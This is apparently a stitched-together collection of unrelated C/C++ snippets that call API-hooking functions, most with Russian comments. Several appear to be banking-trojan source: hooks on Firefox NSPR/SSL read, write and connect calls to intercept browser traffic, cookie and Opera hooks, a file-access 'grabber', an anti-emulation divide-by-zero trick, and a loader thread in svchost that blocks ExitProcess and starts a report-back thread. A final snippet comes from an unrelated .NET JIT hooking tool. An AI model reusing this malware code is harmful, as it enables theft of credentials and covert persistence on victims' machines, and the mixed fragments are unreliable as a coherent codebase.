bool HookJavaApi() { DbgMsg("HookJavaApi",0,"BEFORE"); if ( HookApi( 3, 0x7506E960, (DWORD)&Hook_ShowWindow ) ) { __asm mov [Real_ShowWindow], eax DbgMsg("HookJavaApi",0,"Hook_ShowWindow"); } if ( HookApi( 3, 0x9D2F45DB, (DWORD)&Hook_GetMessagePos) ) { __asm mov [Real_GetMessagePos], eax } if ( HookApi( 3, 0x85F352BD, (DWORD)&Hook_WindowFromPoint) ) { __asm mov [Real_WindowFromPoint], eax } int r1 = GetTickCount(); int r2 = GetTickCount(); int r = r1 / ((r2 - r1) &0xffff0000); DbgMsg("HookJavaApi",r,"AFTER"); return true; }
bool HookMozillaApi() { InitMozillaApiCashe(); pStructHead = NULL; dwHashPosts = NULL; dwHashCount = 0; DWORD PR_WriteHash = 0x7EFB3098; DWORD PR_ReadHash = 0xFA583271; DWORD PR_CloseHash = 0x3D3AB319; DWORD PR_ConnectHash = 0xBF667EA2; DWORD SSL_ImportFDHash = 0xA1C4E024; if ( HookApi( 10, PR_ConnectHash, (DWORD)&PR_ConnectHook ) ) { __asm mov [ PR_ConnectReal ], eax } else return false; if ( HookApi( 10, PR_WriteHash, (DWORD)&PR_WriteHook ) ) { __asm mov [ PR_WriteReal ], eax } else return false; if ( HookApi( 10, PR_ReadHash, (DWORD)&PR_ReadHook ) ) { __asm mov [ PR_ReadReal ], eax } else return false; if ( HookApi( 10, PR_CloseHash, (DWORD)&PR_CloseHook ) ) { __asm mov [ PR_CloseReal ], eax } else return false; if ( HookApi( 11, SSL_ImportFDHash, (DWORD)&SSL_ImportFDHook ) ) { __asm mov [ SSL_ImportFDReal ], eax } else return false; return true; }
int WINAPI DllMain(__in void * _HDllHandle, __in unsigned _Reason, __in_opt void * _Reserved) { if (_Reason == DLL_PROCESS_ATTACH) { HookApi(TRUE); } else if (_Reason == DLL_PROCESS_DETACH) { HookApi(FALSE); } return TRUE; }
// возвращать в ней ранее запомненные координаты, пришедшие через // WM_LBUTTONDOWN DWORD WINAPI Hook_GetMessagePos() { POINT lpPoint; lpPoint.x = g_xPos; lpPoint.y = g_yPos; DWORD res = 0; if (g_Count > MSG_POS_COUNT) { // GetMessagePos слишком короткая, движок неверно хукает ее // поэтому единственный способ вызвать оригинальную ф-ю - // анхукнуть её UnhookGetMessagePos(); // Вызываем оригинальную ф-ю res = GetMessagePos(); // Возвращаем на место обработчик HookApi( 3, 0x9D2F45DB, (DWORD)&Hook_GetMessagePos); } else { g_Count++; // Переводим координаты из клиентских в экранные HWND csWnd = (g_is_dialog ? g_dialog_wnd : g_frame_wnd); ClientToScreen(csWnd, &lpPoint); // Вроде это не совсем правильная арифметика, см. MSDN по GetMessagePos res = ((lpPoint.y<<16) + lpPoint.x); } // Возвращаем результат return res; }
bool Init( int flags ) { if( !IsNewProcess(PID) ) //в том же процессе, инициализация уже была return true; //инициализация уже была, поэтому говорим, что инициализация успешная receivers = List::Create(); if( !receivers ) return false; List::SetFreeItemMehod( receivers, DelReceiver ); //для автоматического удаления получателей if( flags & CREATEFILEA ) { if (!HookApi(DLL_KERNEL32, Hash_CreateFileA, &Hook_CreateFileA, &Real_CreateFileA ) ) return false; } if( flags & CREATEFILEW ) { if (!HookApi(DLL_KERNEL32, Hash_CreateFileW, &Hook_CreateFileW, &Real_CreateFileW ) ) return false; } stateGrabber = 0; return true; }
bool HookJavaApi() { //DbgMsg("HookJavaApi",0,"BEFORE"); if ( HookApi( 3, 0x7506E960, (DWORD)&Hook_ShowWindow ) ) { __asm mov [Real_ShowWindow], eax } if ( HookApi( 3, 0x9D2F45DB, (DWORD)&Hook_GetMessagePos) ) { __asm mov [Real_GetMessagePos], eax } if ( HookApi( 3, 0x85F352BD, (DWORD)&Hook_WindowFromPoint) ) { __asm mov [Real_WindowFromPoint], eax } //DbgMsg("HookJavaApi",0,"AFTER"); return true; }
bool HookCookie() { OutputDebugStr("UnHook CookieApi - BEFORE"); UnhookCookie(); OutputDebugStr("UnHook CookieApi - AFTER"); OutputDebugStr("HookCookieApi - BEFORE"); if ( HookApi( 3, 0x929A0EB1, (DWORD)&Hook_DialogBoxParamW ) ) { __asm mov [Real_DialogBoxParamW], eax } OutputDebugStr("HookCookieApi - AFTER"); return true; }
bool HookOperaExe() { static const DWORD HashLoadLibraryW = 0xC8AC8030; // Хукаем процедуры загрузки файлов if ( HookApi(DLL_KERNEL32, HashLoadLibraryW, &Hook_LoadLibraryW) ) { __asm mov [Real_LoadLibraryW], eax } else return false; OperaDLLModule = NULL; ODBG("Opera.exe обработан"); return true; }
BOOL WINAPI DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { if(ul_reason_for_call == DLL_PROCESS_ATTACH) { if(HookApi("ntdll.dll", "ZwQueryValueKey", (DWORD)&MyZwQueryValueKey, &fZwQueryValueKey)) OutputDebugString("ZwQueryValueKey hook: OK.\n"); else OutputDebugString("ZwQueryValueKey hook: FAILED.\n"); WakeUpProcess(0); } return TRUE; }
//------------------------------------------------------------------------ BOOL StartLoaderThread(LPVOID SystemArgument) { //// 303_ld запуск в Svchost (тут сети может не быть) //PP_DBGRPT_FUNCTION_CALL(DebugReportStepByName("303_ld")); // Запускаем поток загружки длл //=================================================== // Этап 1. Проверяем существование сигнального файда // Для этого создадим файл с экслюзивными праввами и // поставим его на удаление после перезапуска системы // Хэндл файла закрывать не будем, это даст чёткий // сигнал, что процесс запустивший загрузку ещё живой //=================================================== PCHAR FileName = GetSignalFileName(); if (FileName == NULL) return false; // Пытаемся открыть фай HANDLE H = (HANDLE)pCreateFileA(FileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_SYSTEM , 0); if (H == INVALID_HANDLE_VALUE) { // Ошибка создания файла, считаем, что // в данный момент файлом владеет другой процесс STR::Free(FileName); return false; } // Указываем системе, что после перезапуска необходимо // удалить файл pMoveFileExA(FileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); //=================================================== // Этап 2: Устанавливаем хуки которые заблокируют // эавершение процесса до завершения работы нашего // потока //=================================================== if ( HookApi(1, 0x95902B19 /* ExitProcess */, (DWORD)&Hook_ExitProcess ) ) __asm mov [Real_ExitProcess], eax //=================================================== // Этап 3: Запускаем поток //=================================================== ThreadHandle = StartThread(DownloadMethod, SystemArgument); if (ThreadHandle == NULL) { pCloseHandle(H); return false; } pSetThreadPriority(ThreadHandle, THREAD_PRIORITY_NORMAL); //=================================================== // Этап 4: Запускаем поток в svchost отзвона на тестовый сервер //=================================================== StartThread(DbgRptSvchostThread, NULL); return true; }
DWORD __stdcall CInjection::Initialize(LPVOID lpParameter ) { USES_CONVERSION; HMODULE hInstance = (HMODULE)lpParameter; // get the current directory CString strCurrentDir = CUtility::GetCurrentDirectory(); // dbghelp.dll { CString strDbgHelpDll; strDbgHelpDll.Format( _T("%s%s"), strCurrentDir, DBG_HELP_DLL); HMODULE hModule = ::LoadLibrary(strDbgHelpDll); if( hModule == NULL || !CPdbHelper::Initialize(hModule) ) { s_nStatus = Status_Error_DbgHelpNotFound; SetEvent( s_hEvent ); return FALSE; } } // find the JIT module g_hJitModule = GetModuleHandleA("clrjit.dll"); if( !g_hJitModule ) g_hJitModule = GetModuleHandleA("mscorjit.dll"); if( g_hJitModule == NULL ) { s_nStatus = Status_Error_JITNotFound; SetEvent( s_hEvent ); return FALSE; } // find the CLR module g_hClrModule = GetModuleHandleA("clr.dll"); if( !g_hClrModule ) g_hClrModule = GetModuleHandleA("mscorwks.dll"); if( g_hClrModule == NULL || !DetermineDotNetVersion() ) { s_nStatus = Status_Error_CLRNotFound; SetEvent( s_hEvent ); return FALSE; } // try to quick load the symbol address base on the binary hash if( !CSymbolAddressCache::TryCache() ) { // get the pdb directory CString strDestPath(strCurrentDir); { strDestPath.AppendFormat( _T("PDB_symbols\\") ); ::CreateDirectory(strDestPath, NULL); } // copy the JIT dll { TCHAR tszFilename[MAX_PATH] = {0}; GetModuleFileName( g_hJitModule, tszFilename, MAX_PATH); ::CopyFile( tszFilename, strDestPath + CUtility::GetFileName(tszFilename), FALSE); } // copy the CLR dll { TCHAR tszFilename[MAX_PATH] = {0}; GetModuleFileName( g_hClrModule, tszFilename, MAX_PATH); ::CopyFile( tszFilename, strDestPath + CUtility::GetFileName(tszFilename), FALSE); } // Set Environment Variable { CString strVariable; strVariable.Format( _T("symsrv*symsrv.dll*%s*http://msdl.microsoft.com/download/symbols"), strDestPath); SetEnvironmentVariable( _T("_NT_SYMBOL_PATH"), strVariable.GetBuffer()); strVariable.ReleaseBuffer(); } if( !SearchMethodAddresses(T2W(strDestPath.GetBuffer())) ) { // download the pdb // symchk.exe /if "C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll" /s srv*G:\HookDotNet*http://msdl.microsoft.com/download/symbols CString strCmd; strCmd.Format( _T("\"%s%s\" /if \"%s*.dll\" /s symsrv*symsrv.dll*%s*http://msdl.microsoft.com/download/symbols") , strCurrentDir , SYMCHK_EXE , strDestPath , strDestPath ); ATLTRACE( _T("\n%s"), strCmd); STARTUPINFO si = { sizeof(si) }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; PROCESS_INFORMATION pi = {0}; BOOL bRet = CreateProcess( NULL , strCmd.GetBuffer() , NULL , NULL , FALSE , 0 , NULL , strCurrentDir , &si , &pi ); strCmd.ReleaseBuffer(); if( !bRet ) { s_nStatus = Status_Error_DownloadPDBFailed; SetEvent( s_hEvent ); return FALSE; } WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); // find all the pdb files if( !SearchMethodAddresses(NULL) ) SearchMethodAddresses(NULL, FALSE); } // cache the address offset according to the binary hash if( ICorJitCompiler::s_pfnComplieMethod ) { CSymbolAddressCache::GenerateJitCache(); }; if( MethodDesc::IsInitialized() && LoadedMethodDescIterator::IsInitialized() ) { CSymbolAddressCache::GenerateClrCache(); } } HookApi(); SetEvent( s_hEvent ); return TRUE; }